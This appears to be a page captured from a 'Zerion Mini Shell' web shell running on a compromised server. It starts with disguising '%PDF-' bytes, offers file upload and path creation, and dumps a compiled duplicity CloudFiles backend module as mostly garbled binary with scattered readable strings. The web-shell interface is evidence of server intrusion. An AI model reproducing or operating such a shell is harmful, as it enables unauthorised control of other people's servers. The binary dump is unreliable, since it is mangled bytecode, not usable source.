%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/duplicity/backends/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/duplicity/backends/__pycache__/_cf_pyrax.cpython-312.pyc

�

�2e��v�ddlZddlZddlmZddlmZddlmZGd�dejj�Z	y)�N)�log)�util)�BackendExceptionc�:�eZdZdZd�Zd�Zd�Zd�Zd�Zd�Z	d�Z
y	)
�PyraxBackendz8
    Backend for Rackspace's CloudFiles using Pyrax
    c	��tjjj||�	ddl}|jdd�i}dtjvrt
d��dtjvrt
d��tjd|d	<tjd|d
<dtjvrtjd|d<|jjd
�}	|jdi|��|j.j0|_|j.j4|_	|j8j;|�|_y#t
$r}t
dt|�����d}~wwxYw#t$re}tj d|j"j$�dt'j(|���tj*j,�Yd}~��d}~wwxYw#|j.j>$rn}tj |j"j$�dt'j(|��d�dzdzdztj*j@�Yd}~yd}~w|j.jB$r�}	|j8jE|�|_n�#|j.j>$rn}tj |j"j$�dt'j(|��d�dzdzdztj*j@�Yd}~nd}~wwxYwYd}~yYd}~yd}~wwxYw)NrzNPyrax backend requires the pyrax library available from Rackspace.
Exception: �
identity_type�	rackspace�CLOUDFILES_USERNAMEz0CLOUDFILES_USERNAME environment variablenot set.�CLOUDFILES_APIKEYz/CLOUDFILES_APIKEY environment variable not set.�username�api_key�CLOUDFILES_REGION�region�/z2Connection failed, please check your credentials: � z : z 
z,Container may exist, but access was denied.
zKIf this container exists, please check its X-Container-Read/Write headers.
z9Otherwise, please check your credentials and permissions.z3Container does not exist, but creation was denied.
zKYou may be using a read-only user that can view but not create containers.
z.Please check your credentials and permissions.�)#�	duplicity�backend�Backend�__init__�pyrax�ImportErrorr�str�set_setting�os�environ�path�lstrip�set_credentials�	Exceptionr�
FatalError�	__class__�__name__r�uexc�	ErrorCode�connection_failed�
exceptions�ClientException�
client_exc�NoSuchObject�nso_exc�
cloudfiles�
get_container�	container�	Forbidden�backend_permission_denied�NoSuchContainer�create_container)�self�
parsed_urlr�e�conn_kwargsr/s      �>/usr/lib/python3/dist-packages/duplicity/backends/_cf_pyrax.pyrzPyraxBackend.__init__"s������!�!�*�*�4��<�	��	���/�;�7��� ��
�
�2�"�#X�Y�Y��b�j�j�0�"�#T�U�U�"$�*�*�-B�"C��J��!#���,?�!@��I���"�*�*�,�$&�J�J�/B�$C�K��!��O�O�*�*�3�/�	�	�!�E�!�!�0�K�0� �*�*�:�:����'�'�4�4���	�"�-�-�;�;�I�F�D�N��O�	�"����F�8���
��	��8�	��N�N�D�Q�[�[�EY�EY�DZ�Z[�\`�\e�\e�fg�\h�[i�j��
�
�/�/�
�
��	�����)�)�	��N�N��;�;�'�'�(��D�I�I�a�L�>��=�A�B�`�a�N�N��
�
�7�7�
�
�����/�/�
	�	
�!&�!1�!1�!B�!B�9�!M�����#�#�-�-�
�����{�{�+�+�,�C��	�	�!��~�S�A�L�M�d�e�G�G��M�M�;�;����
�����
	�sz�E�.F�7 G1�	E=�!E8�8E=�	G.�	AG)�)G.�1M
�
A$I3�3M
� J1�0M�1L8�
A$L3�.M�3L8�8M�M
c�P�t||j�rtjjSt||j
�r*|jdk(rtjjSyt|d�r*|jdk(rtjjSyy)Ni��http_status)	�
isinstancer,rr&�backend_not_foundr*�code�hasattrr:)r4�	operationr6s   r8�_error_codezPyraxBackend._error_codecs~���a����&��=�=�2�2�2�
��4�?�?�
+��v�v��}��}�}�6�6�6��
�Q�
�
&��}�}��#��}�}�6�6�6�$�'�c�P�|jj|j|�y�N)r/�upload_file�name)r4�source_path�remote_filenames   r8�_putzPyraxBackend._putms�����"�"�;�#3�#3�_�ErAc���|jj|�}t|jd�5}|j	|j��ddd�y#1swYyxYw)N�wb)r/�
get_object�openrE�write�get)r4rG�
local_path�sobject�fs     r8�_getzPyraxBackend._getpsM���.�.�+�+�O�<��
�*�/�/�4�
(�	#�A�
�G�G�G�K�K�M�"�	#�	#�	#�s� A�A$c��|jj�}|}t|�dk(r3|jj|d��}||z
}t|�dk(r�3|S)Ni'���)�marker)r/�get_object_names�len)r4�objs�keyss   r8�_listzPyraxBackend._listus`���~�~�.�.�0�����$�i�5� ��>�>�2�2�$�r�(�2�C�D��D�L�D��$�i�5� ��rAc�:�|jj|�yrC)r/�
delete_object)r4�filenames  r8�_deletezPyraxBackend._deletes�����$�$�X�.rAc�T�|jj|�}d|jiS)N�size)r/rK�total_bytes)r4r]rPs   r8�_queryzPyraxBackend._query�s'���.�.�+�+�H�5����+�+�,�,rAN)r$�
__module__�__qualname__�__doc__rr@rHrRrZr^rbrrAr8rrs,���?�B7�F�#�
�/�-rAr)
r�duplicity.backendrrr�duplicity.errorsrrrrrrAr8�<module>rhs0��*
����-�g-�9�$�$�,�,�g-rA

Zerion Mini Shell 1.0